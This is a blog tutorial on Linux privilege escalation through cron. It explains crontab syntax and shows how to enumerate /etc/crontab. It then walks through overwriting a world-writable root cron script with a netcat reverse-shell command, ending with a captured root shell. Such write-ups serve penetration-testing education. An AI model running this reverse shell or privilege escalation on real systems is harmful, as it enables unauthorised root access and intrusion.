Monday, January 11, 2021

Privilege Escalation via Cron

Cron Daemon

Cron or 'crond' as it is known on UNIX/Linux systems is a daemon which allows you to execute specfic scheduled commands at a certain time. Cron executes a file called a 'crontab' which specifies the time and a command to be ran in those during that time.

Here is an example of a crontab file:

user@debian:~$ crontab -l
# m h  dom mon dow   command
0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
user@debian:~$

Each field in the string represents at certain value related to the time in which the command will be executed. The format for the crontab entry is as follows:

[minute] [hour] [day of month] [month] [day of week] (command)

Each time segment of the crontab entry has a specific range of values it adheres to. Below is a table which corresponds the values to the segments.

[minute] => (0-59)
[hour] => (0-23)
[day of month] => (1-31)
[month] => (1-12)
[day of week] => (0-6) (0 = sunday)

So you have five time segments which all represent a time in which to execute the command. The '*' in the crontab entry means 'all values' and encompasses all value ranges for each time segment.

An example of a crontab entry to run the command '/home/sam/backup-http.sh' on the 10th June at 08:30 AM would look like this:

30 08 10 06 * /home/sam/backup-http.sh

Sometimes you might come upon an entry that look like this:

*/5 * * * * /home/sam/backup-http.sh

The '*/5' means every five minutes run the command. If we were to just have an '*' in its place, then the command would execute every minute or all minutes of the day.

Another file to take note of is the /etc/crontab file. This file contains system-wide commands to be executed at a specific time. The '/etc/crontab' file is only editable by 'root'. The '/etc/crontab' file also has a different format than the regular user-wide crontab syntax.

[minute] [hour] [day of month] [month] [day of week] {user} 

As you can see, it has all the time segments as a regular user crontab, but it has an additional field '{user}' added to it which specifies which user to execute the command as. Here is an example of an '/etc/crontab' file entry:

user@debian:~$ cat /etc/crontab
# m h  dom mon dow   command
0 5 * * 1 root tar -zcf /external/backups/home.tgz /home/
user@debian:~$

This will execute the program 'tar' as the user 'root' to backup the /home directory to /external/backups/home.tgz.

Now that we have a little background on cron, we can move to enumerating it to look for vulnerabilities to exploit.

Enumerating crond

Once we know what cron and crontabs are we can move on to enumerating it on a remote host. The first the we check is to see if the current user has any crontabs active at the current moment. The 'crontab -l' command lists all active cron jobs scheduled to execute at a specific time.

user@debian:~$ crontab -l | sed /^#/d
user@debian:~$ 

Here the user does not have any cron jobs listed. We next move on to checking the cron system in directory /etc to see if we find anything intresting.

user@debian:~$ ls /etc/cron*
/etc/crontab

/etc/cron.d:
anacron

/etc/cron.daily:
0anacron  apache2  apt-compat  bsdmainutils  dpkg  logrotate  man-db  passwd

/etc/cron.hourly:

/etc/cron.monthly:
0anacron

/etc/cron.weekly:
0anacron  man-db
user@debian:~$

Nothing special here. These look like default values for cron so next we move on to the system wide cron file /etc/crontab.

user@debian:~$ cat /etc/crontab | sed /^#/d

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

*/2 *    * * *   root /home/sam/clean-tmp.pl
*/4 *    * * *   root tar -cf archive.tar /home/sam/public_html
00 09-18 * * *   root /home/mike/bin/check-db-status
00 09-18 * * 1-5 root tar -zcf backup.tar.gz /var/www/html

17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
user@debian:~$ 

Jackpot! We find some entries in the /etc/crontab file that look intresting. If we look we see that there are multple programs being ran during certain intervals of the day and month.

The two programs we want to checkout are 'check-db-status' and 'clean-tmp.pl'. We first check out the 'check-db-status' program and see what its permissions are.

user@debian:~$ ls -l /home/mike/bin/check-db-status 
-rw-r--r-- 1 sam sam 0 Jan 11 00:47 check-db-status
user@debian:~$

What we are looking for here is write permissions to the program in question. As you can see here we do not have write permissions on the file 'check-db-status'.

Escalating Privileges

We next turn to the 'clean-tmp.pl' program and check permissions on it.

user@debian:~$ ls -l /home/sam/clean-tmp.pl 
-rwxrwxrwx 1 sam sam 101 Jan 11 00:18 /home/sam/clean-tmp.pl
user@debian:~$

As we can see the file is world-writable and excutable. Our next step is to 'cat' the contents of the file to see what it actually does.

user@debian:~$ cat /home/sam/clean-tmp.pl 
#!/usr/bin/env perl
use strict;
use warnings;

system("rm -r /home/sam/public_html/tmp/*");

exit 0;
user@debian:~$ 

The script is a simple one. All the script does is make a call to Perl's system() function and execute a 'rm' command to delete all the files in the directory /home/sam/public_html/tmp every two minutes. Now that we know we have write permission on the file we can go ahead and edit this script with our own command. In this instance we want a reverse shell from netcat.

change:
system('rm -r /home/sam/public_html/tmp/*')
to
system('nc 192.168.100.113 4444 -e /bin/bash')

Once we change the script to execute our netcat command, we set up a listener on the other side to wait for a connection to our box.

After the time has elapsed specifed by the crontab listing we get this:

sam@kali:~$ nc -lvp 4444
listening on [any] 4444 ...
connect to [192.168.100.102] from debian.acme.com [192.168.100.113] 40270
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root

As you can see we got a connection back to our box and since the program was ran as 'root' as specified by the crontab entry we get back a root shell.

No comments:

Post a Comment

Exploiting Weak WEBDAV Configurations

The server we are going to audit has the following fingerprint. 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) Next we need t...